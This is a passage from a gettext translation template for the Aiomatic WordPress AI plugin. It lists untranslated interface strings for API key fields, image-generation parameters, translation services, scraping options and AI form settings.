allows you to manage and configure unique keys essential " "for integrating and authenticating external AI services with the Aiomatic " "plugin." msgstr "" #: res/aiomatic-main.php:1903 msgid "Main AI API Settings:" msgstr "" #: res/aiomatic-main.php:1940 msgid "Azure API Key Settings" msgstr "" #: res/aiomatic-main.php:2029 msgid "" "For users who belong to multiple organizations, you can pass a header to " "specify which organization is used for an API request. Usage from these API " "requests will count as usage for the specified organization. This field is " "optional." msgstr "" #: res/aiomatic-main.php:2033 msgid "OpenAI Organization ID (Optional)" msgstr "" #: res/aiomatic-main.php:2038 msgid "OpenAI Organization ID (optional)" msgstr "" #: res/aiomatic-main.php:2050 msgid "Additional AI API Settings:" msgstr "" #: res/aiomatic-main.php:2141 #, php-format msgid "" "Adding your HuggingFace key in this settings field, will make the " "HuggingFace AI models to appear in all model selector boxes from the plugin. " "To make it work, insert your HuggingFace AI API Keys (one per line). Get " "your API key here. After you added your API " "key, go to the 'Advanced AI Settings' tab and add the list of the " "HuggingFace models you want to use." msgstr "" #: res/aiomatic-main.php:2162 #, php-format msgid "" "Add your Ollama Server URL. This can be the local installation of Ollama, " "from your server. If you are running Ollama locally, the default IP address " "+ port will be http://localhost:11434 - You can download the installation " "files of Ollama, here. Check this tutorial video for details on installing Ollama " "locally. Check this other tutorial video " "for details on installing Ollama remotely on Digital Ocean droplets." msgstr "" #: res/aiomatic-main.php:2166 msgid "Server URL (One Per Line):" msgstr "" #: res/aiomatic-main.php:2176 msgid "INFO: Ollama not found - please install it and set it up correctly!" msgstr "" #: res/aiomatic-main.php:2176 msgid "Download and install Ollama" msgstr "" #: res/aiomatic-main.php:2180 msgid "INFO: Ollama Test Successful" msgstr "" #: res/aiomatic-main.php:2186 msgid "INFO: Ollama OK" msgstr "" #: res/aiomatic-main.php:2186 msgid "Refresh Ollama Model List" msgstr "" #: res/aiomatic-main.php:2198 msgid "Please insert your Ollama Server URL" msgstr "" #: res/aiomatic-main.php:2215 msgid "" "Select if you want to use the same API key when creating posts, or do you " "want to select a new API key for each API request." msgstr "" #: res/aiomatic-main.php:2219 msgid "Use Multiple API Keys When Creating The Same Post:" msgstr "" #: res/aiomatic-main.php:2231 msgid "Alternative AI Image Generator API Settings:" msgstr "" #: res/aiomatic-main.php:2238 #, php-format msgid "" "Insert your Stability.AI API Keys (one per line). For Stability.AI API, get " "your Stability.AI key here." msgstr "" #: res/aiomatic-main.php:2247 msgid "Please insert your Stability.AI API Key" msgstr "" #: res/aiomatic-main.php:2258 #, php-format msgid "" "Insert your GoAPI API Keys (one per line). This is used to generate " "Midjourney images. Get your GoAPI key here." msgstr "" #: res/aiomatic-main.php:2262 msgid "GoAPI.AI (Midjourney)" msgstr "" #: res/aiomatic-main.php:2267 msgid "Please insert your GoAPI API Key" msgstr "" #: res/aiomatic-main.php:2273 msgid "Rate Limit Prevention Settings" msgstr "" #: res/aiomatic-main.php:2280 msgid "" "Rate Limit Prevention Delay Between API & Scraping Requests. Set the timeout " "(in milliseconds) between each subsequent API & scraping call. This will " "allow API call throttling, so the API call quota limit is not reached for " "your account." msgstr "" #: res/aiomatic-main.php:2284 msgid "Delay Between API & Scraping Requests (ms):" msgstr "" #: res/aiomatic-main.php:2289 msgid "Input request delay" msgstr "" #: res/aiomatic-main.php:2295 res/aiomatic-main.php:5032 msgid "Scraping Enhancements Options:" msgstr "" #: res/aiomatic-main.php:2303 #, php-format msgid "" "If you wish to use the HeadlessBrowserAPI to render JavaScript generated " "content for your scraped pages, enter your API key here. Get one here. If you enter a value here, new options " "will become available in the 'Use PhantomJs/Puppeteer/Tor To Parse " "JavaScript On Pages' in importing rule settings." msgstr "" #: res/aiomatic-main.php:2307 msgid "HeadlessBrowserAPI Key (Optional)" msgstr "" #: res/aiomatic-main.php:2312 msgid "Remaining API Calls For Today: " msgstr "" #: res/aiomatic-main.php:2317 msgid "" "New feature added to this plugin: it is able to use HeadlessBrowserAPI to " "scrape with JavaScript rendered content any website from the internet. Also, " "the Tor node of the API will be able to scrape .onion sites from the Dark " "Net!" msgstr "" #: res/aiomatic-main.php:2324 msgid "API key" msgstr "" #: res/aiomatic-main.php:2331 msgid "Embeddings API Options:" msgstr "" #: res/aiomatic-main.php:2339 #, php-format msgid "" "Insert your Pinecone API Key. For Pinecone API, get your API key here." msgstr "" #: res/aiomatic-main.php:2343 msgid "Pinecone.io" msgstr "" #: res/aiomatic-main.php:2343 res/aiomatic-main.php:2364 #: res/aiomatic-main.php:2386 res/aiomatic-main.php:2407 #: res/aiomatic-main.php:2429 msgid "API Key:" msgstr "" #: res/aiomatic-main.php:2348 msgid "Please insert your Pinecone.io API Key" msgstr "" #: res/aiomatic-main.php:2360 #, php-format msgid "" "Insert your Qdrant API Key. For Qdrant API, sign up for a Qdrant account here and afterwards, get your API key from the " "'Data Access Control' Tab from your Qdrant dashboard." msgstr "" #: res/aiomatic-main.php:2364 res/aiomatic-main.php:7436 msgid "Qdrant" msgstr "" #: res/aiomatic-main.php:2369 msgid "Please insert your Qdrant API Key" msgstr "" #: res/aiomatic-main.php:2375 msgid "Text-to-Speech API Settings:" msgstr "" #: res/aiomatic-main.php:2382 #, php-format msgid "" "Insert your ElevenLabs API Key. For ElevenLabs API, get your API key here. This is used for the Chatbot text to " "speech feature." msgstr "" #: res/aiomatic-main.php:2386 msgid "ElevenLabs.io" msgstr "" #: res/aiomatic-main.php:2391 msgid "Please insert your ElevenLabs.io API Key" msgstr "" #: res/aiomatic-main.php:2403 #, php-format msgid "" "Insert your Google Text-to-Speech API Key. For Google API, get your API key " "here. This is used for the Chatbot text to " "speech feature." msgstr "" #: res/aiomatic-main.php:2407 msgid "Google Text-to-Speech" msgstr "" #: res/aiomatic-main.php:2412 msgid "Please insert your Google Text-to-Speech API Key" msgstr "" #: res/aiomatic-main.php:2418 msgid "Text-to-Video API Settings:" msgstr "" #: res/aiomatic-main.php:2425 #, php-format msgid "" "Insert your D-ID API Key. For D-ID API, get your API key here. This is used for the Chatbot text to video feature." msgstr "" #: res/aiomatic-main.php:2429 msgid "D-ID" msgstr "" #: res/aiomatic-main.php:2434 msgid "Please insert your D-ID API Key" msgstr "" #: res/aiomatic-main.php:2440 msgid "Internet Access / Related Headings API Keys:" msgstr "" #: res/aiomatic-main.php:2447 #, php-format msgid "" "Only For Internet Access, Not Related Headings. If you wish to use the " "Google Search feature of the plugin when scraping keywords, enter a Google " "Search API key here. Get one here. Please " "enable the 'Custom Search API' in Google Cloud " "Console. Also, to search the entire web for results, please follow this tutorial. The search engine feature will " "work even without entering an API key here, but in this case, the Bing API " "will be used." msgstr "" #: res/aiomatic-main.php:2451 msgid "Google SERP API Key" msgstr "" #: res/aiomatic-main.php:2456 res/aiomatic-main.php:2706 msgid "API Key (optional)" msgstr "" #: res/aiomatic-main.php:2468 #, php-format msgid "" "Only For Internet Access, Not Related Headings. To get the Google API Search " "Engine ID (CX value), go to %s 2. Select " "your search engine or Create one and go click on it. 3. You can find the CX " "id titled as \"Search engine ID\" 4. Public URL also has the cx id in the " "Query param as ?cx=**** here. Also, to search the entire web for results, " "please follow this tutorial." msgstr "" #: res/aiomatic-main.php:2472 msgid "Google SERP API Search Engine ID (CX Value)" msgstr "" #: res/aiomatic-main.php:2477 msgid "API CX Value (optional)" msgstr "" #: res/aiomatic-main.php:2490 #, php-format msgid "" "Used for Related Headings & AI Internet Access. If you want to use SerpAPI " "to get the related headings for the created posts, you must add your API key " "here. By default, the plugin scrapes Bing Search for related queries. Get " "your API key here." msgstr "" #: res/aiomatic-main.php:2494 msgid "SerpAPI API Key (Optional)" msgstr "" #: res/aiomatic-main.php:2499 msgid "SerpAPI Key (optional)" msgstr "" #: res/aiomatic-main.php:2512 #, php-format msgid "" "Used for Related Headings & AI Internet Access. If you want to use ValueSERP " "to get the related headings for the created posts, you must add your API key " "here. By default, the plugin scrapes Bing Search for related queries. Get " "your API key here." msgstr "" #: res/aiomatic-main.php:2516 msgid "ValueSERP API Key (Optional)" msgstr "" #: res/aiomatic-main.php:2521 msgid "ValueSERP Key (optional)" msgstr "" #: res/aiomatic-main.php:2527 msgid "NLP API Key:" msgstr "" #: res/aiomatic-main.php:2534 #, php-format msgid "" "Used for Relevant Keyword Extraction From Text. Insert your TextRazor API " "Key. Learn how to get one here. This is " "used when extracting relevant keywords from longer texts. Adding an API key " "here can greatly improve royalty free image accuracy." msgstr "" #: res/aiomatic-main.php:2538 msgid "TextRazor API Key List (Optional):" msgstr "" #: res/aiomatic-main.php:2545 msgid "Please insert your TextRazor API Key" msgstr "" #: res/aiomatic-main.php:2556 #, php-format msgid "" "Used for Relevant Keyword Extraction From Text. Insert your NeuronWriter API " "Key. Learn how to get one here. This is " "used when extracting relevant keywords from longer texts." msgstr "" #: res/aiomatic-main.php:2560 msgid "NeuronWriter API Key (Optional):" msgstr "" #: res/aiomatic-main.php:2567 msgid "Please insert your NeuronWriter API Key" msgstr "" #: res/aiomatic-main.php:2577 msgid "" "Insert your NeuronWriter Project ID. The ID of your project taken from " "project's URL: https://app.neuronwriter.com/project/view/75a454f6ae5976e8 -> " "e95fdd229fd98c10" msgstr "" #: res/aiomatic-main.php:2581 msgid "NeuronWriter Project ID:" msgstr "" #: res/aiomatic-main.php:2588 msgid "Please insert your NeuronWriter Project ID" msgstr "" #: res/aiomatic-main.php:2592 msgid "Plagiarism Checker/AI Detector API Key:" msgstr "" #: res/aiomatic-main.php:2599 #, php-format msgid "" "Insert your PlagiarismCheck API Key. Learn how to get one here." msgstr "" #: res/aiomatic-main.php:2603 msgid "PlagiarismCheck API Key List (Optional):" msgstr "" #: res/aiomatic-main.php:2610 msgid "Please insert your PlagiarismCheck API Key" msgstr "" #: res/aiomatic-main.php:2614 msgid "Amazon API Settings (Optional):" msgstr "" #: res/aiomatic-main.php:2629 #, php-format msgid "" "Insert your Amazon Access Key ID. Learn how to get one here. Also, you need to sign up for Amazon Affiliate " "program here. If you do not enter a value " "here, the plugin will use direct scraping method to get products." msgstr "" #: res/aiomatic-main.php:2633 msgid "Amazon Access Key ID (Optional):" msgstr "" #: res/aiomatic-main.php:2640 msgid "Please insert your Amazon App ID" msgstr "" #: res/aiomatic-main.php:2650 #, php-format msgid "" "Insert your Amazon Secret Access Key. Learn how to get one here. Also, you need to sign up for Amazon Affiliate " "program here. If you do not enter a value " "here, the plugin will use direct scraping method to get products." msgstr "" #: res/aiomatic-main.php:2654 msgid "Amazon Secret Access Key (Optional):" msgstr "" #: res/aiomatic-main.php:2661 msgid "Please insert your Amazon App Secret" msgstr "" #: res/aiomatic-main.php:2668 msgid "Related Video Search API Key:" msgstr "" #: res/aiomatic-main.php:2675 #, php-format msgid "" "Used for Related Videos. Insert your YouTube API Key. Learn how to get one " "here. This is used when adding YouTube " "videos to your post content. You can also enter a comma separated list of " "multiple API keys. This is optional, the Related Videos feature will work " "also without an API key entered." msgstr "" #: res/aiomatic-main.php:2679 msgid "YouTube API Key List (Optional):" msgstr "" #: res/aiomatic-main.php:2686 msgid "" "Please insert your YouTube API Key. You can also insert a list of comma " "separated API keys. The plugin will select one to user, each time when it " "runs, at random." msgstr "" #: res/aiomatic-main.php:2690 msgid "Translation Services API Keys:" msgstr "" #: res/aiomatic-main.php:2697 #, php-format msgid "" "If you wish to use the official version of the Google Translator API for " "translation, you must enter first a Google API Key. Get one here. Please enable the 'Cloud Translation API' in Google Cloud Console. Translation will work " "even without even without entering an API key here, but in this case, an " "unofficial Google Translate API will be used." msgstr "" #: res/aiomatic-main.php:2701 msgid "Google Translator API Key (Optional)" msgstr "" #: res/aiomatic-main.php:2719 #, php-format msgid "" "If you wish to use DeepL for translation, you must enter first a DeepL " "'Authentication Key'. Get one here. If you " "enter a value here, new options will become available in the 'Automatically " "Translate Content To' and 'Source Language' fields." msgstr "" #: res/aiomatic-main.php:2723 msgid "DeepL Translator Authentication Key (Optional)" msgstr "" #: res/aiomatic-main.php:2728 msgid "Auth key (optional)" msgstr "" #: res/aiomatic-main.php:2740 msgid "" "Check this checkbox if the above API key is a DeepL free plan key. If it is " "a PRO key, please uncheck this checkbox." msgstr "" #: res/aiomatic-main.php:2744 msgid "The Above Is A DeepL Free API Key:" msgstr "" #: res/aiomatic-main.php:2760 #, php-format msgid "" "If you wish to use Microsoft for translation, you must enter first a " "Microsoft 'Access Key'. Learn how to get one here. If you enter a value here, new options will become " "available in the 'Automatically Translate Content To' and 'Source Language' " "fields." msgstr "" #: res/aiomatic-main.php:2764 msgid "Microsoft Translator Access Key (Optional)" msgstr "" #: res/aiomatic-main.php:2769 msgid "Access key (optional)" msgstr "" #: res/aiomatic-main.php:2781 #, php-format msgid "" "If you selected a specific region in your Azure Microsoft account, you must " "enter it here. Learn more here. The default " "is global." msgstr "" #: res/aiomatic-main.php:2785 msgid "Microsoft Translator Region Code (Optional)" msgstr "" #: res/aiomatic-main.php:2790 msgid "global" msgstr "" #: res/aiomatic-main.php:2799 msgid "OmniBlocks Settings" msgstr "" #: res/aiomatic-main.php:2801 msgid "" "Allows you to fine-tune some of the settings offered by the most advanced " "part of the plugin, the 'OmniBlocks' functionality." msgstr "" #: res/aiomatic-main.php:2804 msgid "Advanced OmniBlocks Options:" msgstr "" #: res/aiomatic-main.php:2811 msgid "" "Do you want to enable OmniBlocks webhook functionality? This will enable the " "Webhook OmniBlock type to automatically recieve requests from external " "sources, using a speicific webhook URL." msgstr "" #: res/aiomatic-main.php:2815 msgid "Enable OmniBlocks Webhook Functionality:" msgstr "" #: res/aiomatic-main.php:2833 msgid "" "Do you want to enable OmniBlocks result caching for some OmniBlock types, " "like the Website Scraper OmniBlock or the RSS Scraper OmniBlock. If this is " "checked, multiple OmniBlocks in the same queue will use the same data (from " "caching) and will not download the same website multiple times." msgstr "" #: res/aiomatic-main.php:2837 msgid "Enable OmniBlocks Result Caching:" msgstr "" #: res/aiomatic-main.php:2852 msgid "AI Video Settings" msgstr "" #: res/aiomatic-main.php:2854 msgid "" "The 'AI Videos' tab provides settings for the tools which are used to " "generate and manage AI-created video content." msgstr "" #: res/aiomatic-main.php:2857 msgid "Stability.AI Video API Settings:" msgstr "" #: res/aiomatic-main.php:2864 msgid "" "How strongly the video sticks to the original image. Use lower values to " "allow the model more freedom to make changes and higher values to correct " "motion distortions." msgstr "" #: res/aiomatic-main.php:2868 msgid "Video CFG Scale:" msgstr "" #: res/aiomatic-main.php:2873 msgid "2.5" msgstr "" #: res/aiomatic-main.php:2885 msgid "" "Lower values generally result in less motion in the output video, while " "higher values generally result in more motion. This parameter corresponds to " "the motion_bucket_id parameter from the paper." msgstr "" #: res/aiomatic-main.php:2889 msgid "Video Motion Bucket ID:" msgstr "" #: res/aiomatic-main.php:2894 msgid "1-255" msgstr "" #: res/aiomatic-main.php:2901 msgid "AI Image Settings" msgstr "" #: res/aiomatic-main.php:2903 msgid "" "The 'AI Images' tab provides settings for the tools which are used to " "generate and manage AI-created visual content, enhancing your WordPress site " "with automated and customizable image solutions." msgstr "" #: res/aiomatic-main.php:2906 msgid "Dall-E AI Image Generator Settings:" msgstr "" #: res/aiomatic-main.php:2913 msgid "" "The style of the generated images. Must be one of vivid or natural. Vivid " "causes the model to lean towards generating hyper-real and dramatic images. " "Natural causes the model to produce more natural, less hyper-real looking " "images. This param is only supported for dall-e-3." msgstr "" #: res/aiomatic-main.php:2917 msgid "Dall-E 3 Image Style:" msgstr "" #: res/aiomatic-main.php:2925 msgid "Vivid" msgstr "" #: res/aiomatic-main.php:2930 msgid "Natural" msgstr "" #: res/aiomatic-main.php:2934 msgid "Midjourney API Settings:" msgstr "" #: res/aiomatic-main.php:2941 msgid "Set what model to use when generating images. Default is fast." msgstr "" #: res/aiomatic-main.php:2967 msgid "Stability.AI API Settings:" msgstr "" #: res/aiomatic-main.php:3006 msgid "Number of diffusion steps to run. Default is 50." msgstr "" #: res/aiomatic-main.php:3010 msgid "Sampling Steps:" msgstr "" #: res/aiomatic-main.php:3015 msgid "10-250" msgstr "" #: res/aiomatic-main.php:3025 msgid "" "How strictly the diffusion process adheres to the prompt text (higher values " "keep your image closer to your prompt). Default value is 7." msgstr "" #: res/aiomatic-main.php:3029 msgid "CFG Scale:" msgstr "" #: res/aiomatic-main.php:3034 msgid "0-35" msgstr "" #: res/aiomatic-main.php:3044 msgid "Random noise seed (omit this option or use 0 for a random seed)" msgstr "" #: res/aiomatic-main.php:3048 msgid "Seed:" msgstr "" #: res/aiomatic-main.php:3053 msgid "0" msgstr "" #: res/aiomatic-main.php:3063 msgid "Set what preset to use when generating images. Default is NONE." msgstr "" #: res/aiomatic-main.php:3067 msgid "Clip Guidance Preset:" msgstr "" #: res/aiomatic-main.php:3077 res/aiomatic-main.php:3132 msgid "NONE" msgstr "" #: res/aiomatic-main.php:3082 msgid "FAST_BLUE" msgstr "" #: res/aiomatic-main.php:3087 msgid "FAST_GREEN" msgstr "" #: res/aiomatic-main.php:3092 msgid "SIMPLE" msgstr "" #: res/aiomatic-main.php:3097 msgid "SLOW" msgstr "" #: res/aiomatic-main.php:3102 msgid "SLOWER" msgstr "" #: res/aiomatic-main.php:3107 msgid "SLOWEST" msgstr "" #: res/aiomatic-main.php:3118 msgid "" "Pass in a style preset to guide the image model towards a particular style. " "Default is NONE." msgstr "" #: res/aiomatic-main.php:3122 msgid "Style Preset:" msgstr "" #: res/aiomatic-main.php:3137 msgid "3d-model" msgstr "" #: res/aiomatic-main.php:3142 msgid "analog-film" msgstr "" #: res/aiomatic-main.php:3147 msgid "anime" msgstr "" #: res/aiomatic-main.php:3152 msgid "cinematic" msgstr "" #: res/aiomatic-main.php:3157 msgid "comic-book" msgstr "" #: res/aiomatic-main.php:3162 msgid "digital-art" msgstr "" #: res/aiomatic-main.php:3167 msgid "enhance" msgstr "" #: res/aiomatic-main.php:3172 msgid "fantasy-art" msgstr "" #: res/aiomatic-main.php:3177 msgid "isometric" msgstr "" #: res/aiomatic-main.php:3182 msgid "line-art" msgstr "" #: res/aiomatic-main.php:3187 msgid "low-poly" msgstr "" #: res/aiomatic-main.php:3192 msgid "modeling-compound" msgstr "" #: res/aiomatic-main.php:3197 msgid "neon-punk" msgstr "" #: res/aiomatic-main.php:3202 msgid "origami" msgstr "" #: res/aiomatic-main.php:3207 msgid "photographic" msgstr "" #: res/aiomatic-main.php:3212 msgid "pixel-art" msgstr "" #: res/aiomatic-main.php:3217 msgid "tile-texture" msgstr "" #: res/aiomatic-main.php:3228 msgid "" "Which sampler to use for the diffusion process. If this value is omitted " "we'll automatically select an appropriate sampler for you." msgstr "" #: res/aiomatic-main.php:3232 msgid "Sampler:" msgstr "" #: res/aiomatic-main.php:3242 msgid "Auto" msgstr "" #: res/aiomatic-main.php:3247 msgid "DDIM" msgstr "" #: res/aiomatic-main.php:3252 msgid "DDPM" msgstr "" #: res/aiomatic-main.php:3257 msgid "K_DPMPP_2M" msgstr "" #: res/aiomatic-main.php:3262 msgid "K_DPMPP_2S_ANCESTRAL" msgstr "" #: res/aiomatic-main.php:3267 msgid "K_DPM_2" msgstr "" #: res/aiomatic-main.php:3272 msgid "K_DPM_2_ANCESTRAL" msgstr "" #: res/aiomatic-main.php:3277 msgid "K_EULER" msgstr "" #: res/aiomatic-main.php:3282 msgid "K_EULER_ANCESTRAL" msgstr "" #: res/aiomatic-main.php:3287 msgid "K_HEUN" msgstr "" #: res/aiomatic-main.php:3292 msgid "K_LMS" msgstr "" #: res/aiomatic-main.php:3297 msgid "General AI Image Generator Settings:" msgstr "" #: res/aiomatic-main.php:3304 msgid "" "By default, the plugin will attempt to translate AI image prompts to " "English. If you are publishing only English content on your site, you can " "disable this feature to speed up image processing." msgstr "" #: res/aiomatic-main.php:3308 msgid "Don't Attempt To Translate AI Image Prompts To English:" msgstr "" #: res/aiomatic-main.php:3317 msgid "" "To use the Image Resizing feature, you need to enable the 'Copy Royalty " "Free / AI Images From Post Content' feature from the 'Cloud Storage' tab!" msgstr "" #: res/aiomatic-main.php:3319 msgid "" "This function is not enabled on your server. Please enable it to use the " "image resizing feature of the plugin!" msgstr "" #: res/aiomatic-main.php:3327 msgid "" "Resize the AI generated image to the width specified in this text field (in " "pixels). If you want to disable this feature, leave this field blank. This " "feature will work only if you copy AI generated images from their original " "sources, locally to your own server." msgstr "" #: res/aiomatic-main.php:3331 msgid "AI Generated Image Resize Width:" msgstr "" #: res/aiomatic-main.php:3336 msgid "Please insert the desired width for AI generated images" msgstr "" #: res/aiomatic-main.php:3346 msgid "" "Resize the AI generated image to the height specified in this text field (in " "pixels). If you want to disable this feature, leave this field blank. This " "feature will work only if you copy AI generated images from their original " "sources." msgstr "" #: res/aiomatic-main.php:3350 msgid "AI Generated Image Resize Height:" msgstr "" #: res/aiomatic-main.php:3355 msgid "Please insert the desired height for AI generated images" msgstr "" #: res/aiomatic-main.php:3365 msgid "" "Select the quality of the resized images. Accepted values: 1-100. 1 is " "lowest quality, 100 is highest quality. If you want to disable this feature, " "leave this field blank. This feature will work only if you copy AI generated " "images from their original sources." msgstr "" #: res/aiomatic-main.php:3369 msgid "AI Generated Image Resize Quality:" msgstr "" #: res/aiomatic-main.php:3374 res/aiomatic-main.php:8469 msgid "Resize quality" msgstr "" #: res/aiomatic-main.php:3378 msgid "Stable Diffusion Tutorial Video:" msgstr "" #: res/aiomatic-main.php:3383 msgid "Midjourney Tutorial Video:" msgstr "" #: res/aiomatic-main.php:3391 msgid "Statistics Settings" msgstr "" #: res/aiomatic-main.php:3393 msgid "" "The 'Statistics' tab provides settings for the 'Limits & Statistics' module " "of the plugin." msgstr "" #: res/aiomatic-main.php:3395 msgid "Check the Statistics page " msgstr "" #: res/aiomatic-main.php:3397 msgid "Limits & Statistics Options:" msgstr "" #: res/aiomatic-main.php:3404 msgid "Do you want to enable usage tracking for statistics and usage limits?" msgstr "" #: res/aiomatic-main.php:3408 msgid "Enable Usage Tracking For Statistics And Usage Limits:" msgstr "" #: res/aiomatic-main.php:3421 msgid "" "The 'Content Wizard' tab provides guided options for tools and templates to " "easily create, format, and optimize engaging content for your WordPress site." msgstr "" #: res/aiomatic-main.php:3424 msgid "Content Wizard General Settings:" msgstr "" #: res/aiomatic-main.php:3431 msgid "" "Do you want to enable or disable the AI assistant feature of the plugin?" msgstr "" #: res/aiomatic-main.php:3435 msgid "Enable Content Wizard On:" msgstr "" #: res/aiomatic-main.php:3471 msgid "Set if you want to enable Content Wizard also for not logged in users." msgstr "" #: res/aiomatic-main.php:3475 msgid "Enable Content Wizard Also For Not Logged In Users:" msgstr "" #: res/aiomatic-main.php:3498 msgid "" "Set where you would like to add the AI assistant result - above or below the " "selected text." msgstr "" #: res/aiomatic-main.php:3502 msgid "Content Wizard Result Placement:" msgstr "" #: res/aiomatic-main.php:3519 msgid "Content Wizard Image Settings:" msgstr "" #: res/aiomatic-main.php:3526 msgid "Set the image size of the AI assistant generated images." msgstr "" #: res/aiomatic-main.php:3530 msgid "Content Wizard Image Size:" msgstr "" #: res/aiomatic-main.php:3567 msgid "Set the image model of the AI assistant generated images." msgstr "" #: res/aiomatic-main.php:3571 msgid "Content Wizard Image Model:" msgstr "" #: res/aiomatic-main.php:3612 msgid "Content Wizard Text Completion Settings:" msgstr "" #: res/aiomatic-main.php:3618 res/aiomatic-main.php:4199 #: res/aiomatic-main.php:4496 res/aiomatic-main.php:4873 #: res/aiomatic-main.php:5886 res/aiomatic-main.php:5989 #: res/aiomatic-main.php:6118 res/aiomatic-main.php:6355 #: res/aiomatic-main.php:6463 res/aiomatic-main.php:7799 #: res/aiomatic-main.php:7975 res/aiomatic-main.php:8932 #: res/aiomatic-spinner-list.php:1108 res/aiomatic-spinner-list.php:1888 #: res/aiomatic-spinner-list.php:2121 res/aiomatic-spinner-list.php:2678 #: res/aiomatic-spinner-list.php:2949 res/aiomatic-spinner-list.php:3124 #: res/aiomatic-spinner-list.php:3318 res/aiomatic-spinner-list.php:3507 #: res/aiomatic-spinner-list.php:3748 msgid "" "Select the AI Assistant to be used. This will disable the ability to select " "AI models, as the models assisgned to the assistant will be used for content " "creation." msgstr "" #: res/aiomatic-main.php:3666 msgid "Set the model to use for the Content Wizard feature." msgstr "" #: res/aiomatic-main.php:3670 msgid "Content Wizard Model:" msgstr "" #: res/aiomatic-main.php:3698 msgid "Content Wizard Temperature:" msgstr "" #: res/aiomatic-main.php:3713 msgid "Content Wizard Top_p:" msgstr "" #: res/aiomatic-main.php:3728 msgid "Content Wizard Presence Penalty:" msgstr "" #: res/aiomatic-main.php:3743 msgid "Content Wizard Frequency Penalty:" msgstr "" #: res/aiomatic-main.php:3753 msgid "Content Wizard Prompts:" msgstr "" #: res/aiomatic-main.php:3758 msgid "Menu name" msgstr "" #: res/aiomatic-main.php:3762 msgid "Set the name of the command, which will appear in the post editor." msgstr "" #: res/aiomatic-main.php:3772 #, php-format msgid "" "Set the prompt to be sent to the AI when clicking on this command in post " "editor. You can use the %%selected_text%% shortcode and also the following " "shortcodes, which will use the data from the current post which is edited: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to users using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-main.php:3782 msgid "Set the type of the prompt you are creating." msgstr "" #: res/aiomatic-main.php:3812 res/aiomatic-main.php:10619 msgid "Add a menu name" msgstr "" #: res/aiomatic-main.php:3813 res/aiomatic-main.php:10620 msgid "Add a prompt" msgstr "" #: res/aiomatic-main.php:3821 msgid "Save Content Wizard Prompts" msgstr "" #: res/aiomatic-main.php:3831 msgid "" "The 'AI Forms' tab enables you to create and manage smart forms powered by " "AI, designed to improve user interaction and data collection on your " "WordPress site." msgstr "" #: res/aiomatic-main.php:3834 msgid "AI Forms Restrictions:" msgstr "" #: res/aiomatic-main.php:3841 msgid "Select the min length for form input fields." msgstr "" #: res/aiomatic-main.php:3845 msgid "Form Input Fields Min Length:" msgstr "" #: res/aiomatic-main.php:3857 msgid "Select the max length for form input fields." msgstr "" #: res/aiomatic-main.php:3861 msgid "Form Input Fields Max Length:" msgstr "" #: res/aiomatic-main.php:3867 msgid "AI Forms Image Options:" msgstr "" #: res/aiomatic-main.php:3910 msgid "AI Forms Options:" msgstr "" #: res/aiomatic-main.php:3917 msgid "Select if you want to show advanced form options for users." msgstr "" #: res/aiomatic-main.php:3921 msgid "Show Advanced Form Options For All Textual AI Forms (Global):" msgstr "" #: res/aiomatic-main.php:3936 msgid "" "Select if you want to show a WP Rich Text editor instead of a plain textarea " "for the AI results output, for all created textual AI Forms." msgstr "" #: res/aiomatic-main.php:3940 msgid "Show WP Editor Input For All Textual AI Forms (Global):" msgstr "" #: res/aiomatic-main.php:3955 msgid "" "Select if you want to show a 'Character Counter' text under to the results " "of textual AI Forms." msgstr "" #: res/aiomatic-main.php:3959 msgid "" "Enable the 'Character Counter' Text For All Textual Forms Results (Global):" msgstr "" #: res/aiomatic-main.php:3974 msgid "" "Select if you want to show a 'Copy' button next to the results of textual AI " "Forms." msgstr "" #: res/aiomatic-main.php:3978 msgid "Enable the 'Copy' Button For All Textual Forms Results (Global):" msgstr "" #: res/aiomatic-main.php:3993 msgid "" "Select if you want to show a 'Download' button next to the results of image " "AI Forms." msgstr "" #: res/aiomatic-main.php:3997 msgid "Enable the 'Download' Button For All Image Forms Results (Global):" msgstr "" #: res/aiomatic-main.php:4012 msgid "Select the location of the submit button." msgstr "" #: res/aiomatic-main.php:4016 msgid "Submit Button Location:" msgstr "" #: res/aiomatic-main.php:4024 msgid "Under Input Fields" msgstr "" #: res/aiomatic-main.php:4029 msgid "Above Input Fields" msgstr "" #: res/aiomatic-main.php:4034 msgid "Under Result Field" msgstr "" #: res/aiomatic-main.php:4039 msgid "Under Advanced Settings" msgstr "" #: res/aiomatic-main.php:4049 msgid "Select the alignment of the submit button." msgstr "" #: res/aiomatic-main.php:4053 msgid "Submit Button Alignment:" msgstr "" #: res/aiomatic-main.php:4061 res/aiomatic-spinner-list.php:2534 msgid "Left" msgstr "" #: res/aiomatic-main.php:4066 msgid "Center" msgstr "" #: res/aiomatic-main.php:4071 res/aiomatic-spinner-list.php:2539 msgid "Right" msgstr "" #: res/aiomatic-main.php:4081 msgid "Select the placeholder text of the form output." msgstr "" #: res/aiomatic-main.php:4085 msgid "Form Output Placeholder Text:" msgstr "" #: res/aiomatic-main.php:4091 msgid "AI Forms Styling:" msgstr "" #: res/aiomatic-main.php:4098 msgid "Select the Background color of the form." msgstr "" #: res/aiomatic-main.php:4114 msgid "Select the text color of the form." msgstr "" #: res/aiomatic-main.php:4118 msgid "Form Text Color:" msgstr "" #: res/aiomatic-main.php:4129 msgid "Select the button color of the form." msgstr "" #: res/aiomatic-main.php:4133 msgid "Form Button Color:" msgstr "" #: res/aiomatic-main.php:4144 msgid "Select the button text color of the form." msgstr "" #: res/aiomatic-main.php:4148 msgid "Form Button Text Color:" msgstr "" #: res/aiomatic-main.php:4161 msgid "Link Keyword Extractor" msgstr "" #: res/aiomatic-main.php:4163 msgid "" "The 'Link Keyword Extractor' tab provides settings for tools that analyze " "and extract relevant keywords from hyperlinks, enhancing your WordPress " "site's SEO and content relevance strategies." msgstr "" #: res/aiomatic-main.php:4166 msgid "Automatic 